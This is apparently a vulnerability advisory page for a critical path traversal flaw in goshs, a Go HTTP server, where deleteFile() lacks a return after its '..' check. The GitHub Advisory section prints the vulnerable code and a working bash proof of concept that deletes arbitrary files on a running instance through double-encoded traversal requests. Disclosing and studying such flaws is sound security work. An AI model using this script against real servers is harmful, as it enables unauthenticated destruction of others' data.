9.8critical
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') in goshs
- Severity
- 9.8critical CVSS:3.0 by GitHub_M
- Exploit likelihood
- 0.66% (higher than 53% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-6qcc-6q27-whp8GO-2026-5186
Description
goshs is a SimpleHTTPServer written in Go. Prior to 2.0.0-beta.3, tdeleteFile() missing return after path traversal check. This vulnerability is fixed in 2.0.0-beta.3.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| patrickhener goshs | < 2.0.0-beta.3 | CVE List |
| github.com/patrickhener/goshs (Go) | before 1.1.5-0.20260401172448-237f3af891a9 | GitHub Advisory Database, Go Vulnerability Database |
| goshs goshs | before 2.0.0, 2.0.0 | NVD |
All scores
| GitHub_M | 9.8critical CVSS:3.0 | CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| GitHub | 9.8critical CVSS:3.0 | CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
Classification
SSVC (CISA-ADP): exploitation poc, automatable yes, technical impact total.
What each source says
CVE List
goshs is a SimpleHTTPServer written in Go. Prior to 2.0.0-beta.3, tdeleteFile() missing return after path traversal check. This vulnerability is fixed in 2.0.0-beta.3.
GitHub Advisory Database
Summary
deleteFile()missing return after path traversal check |httpserver/handler.go:645-671
The finding affects the default configuration, no flags or authentication required.
Details
File: httpserver/handler.go:645-671
Trigger: GET /<path>?delete (handler.go:157-160 dispatches to deleteFile)
The function detects .. in the decoded path but does not return.
func (fs *FileServer) deleteFile(w http.ResponseWriter, req *http.Request) {
upath := filepath.FromSlash(filepath.Clean("/" + strings.Trim(req.URL.Path, "/")))
fileCleaned, _ := url.QueryUnescape(upath)
if strings.Contains(fileCleaned, "..") {
w.WriteHeader(500)
_, err := w.Write([]byte("Cannot delete file"))
if err != nil {
logger.Errorf("error writing answer to client: %+v", err)
}
// BUG: no return, falls through to os.RemoveAll
}
deletePath := filepath.Join(fs.Webroot, fileCleaned)
err := os.RemoveAll(deletePath) // always executes
Root causes:
Missing return after the guard makes the check dead code
Impact: Unauthenticated arbitrary file/directory deletion.
PoCs:
#!/usr/bin/env bash
# Delete an arbitrary file/directory on a running goshs instance.
# Usage: ./arbitrary_delete.sh <host> <port> <absolute-path-to-delete>
set -euo pipefail
HOST="${1:?Usage: $0 <host> <port> <absolute-path-to-delete>}"
PORT="${2:?Usage: $0 <host> <port> <absolute-path-to-delete>}"
TARGET="${3:?Usage: $0 <host> <port> <absolute-path-to-delete>}"
# Double-encode ".." => %252e%252e
# We don't know the webroot depth, so use 16 levels (covers most paths).
TRAVERSAL=""
for _ in $(seq 1 16); do
TRAVERSAL="${TRAVERSAL}%252e%252e/"
done
# Strip leading / from target and URL-encode any special chars
TARGET_REL="${TARGET#/}"
ENCODED_TARGET=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$TARGET_REL', safe='/'))")
URL="http://${HOST}:${PORT}/${TRAVERSAL}${ENCODED_TARGET}?delete"
echo "[*] Target: ${TARGET}"
echo "[*] Request: GET ${URL}"
echo ""
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" "$URL")
echo "[*] HTTP ${HTTP_CODE}"
To execute it: ./arbitrary_delete.sh 10.1.2.2 8000 /tmp/canary
Recommendations
Checking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method return is called after every error response.
Go Vulnerability Database
goshs: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal) in github.com/patrickhener/goshs
NVD (es)
goshs es un SimpleHTTPServer escrito en Go. Antes de la versión 2.0.0-beta.3, a tdeleteFile() le faltaba un retorno después de la verificación de salto de ruta. Esta vulnerabilidad está corregida en la versión 2.0.0-beta.3.
References
| https://github.com/patrickhener/goshs/security/advisories/GHSA-6qcc-6q27-whp8 | advisory, exploit, mitigation, vendor-advisory, web | |
| https://nvd.nist.gov/vuln/detail/CVE-2026-35471 | advisory | |
| https://github.com/patrickhener/goshs/commit/237f3af891a90df9b903b85f1cd3438040ca261a | fix, web | |
| https://github.com/patrickhener/goshs | package | |
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-35471 changed 2026-04-07 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-6qcc-6q27-whp8 changed 2026-06-25 | CC-BY-4.0 |
| Go Vulnerability Database | GO-2026-5186 changed 2026-06-25 | CC-BY-4.0 |
| NVD | CVE-2026-35471 changed 2026-07-24 | Public domain |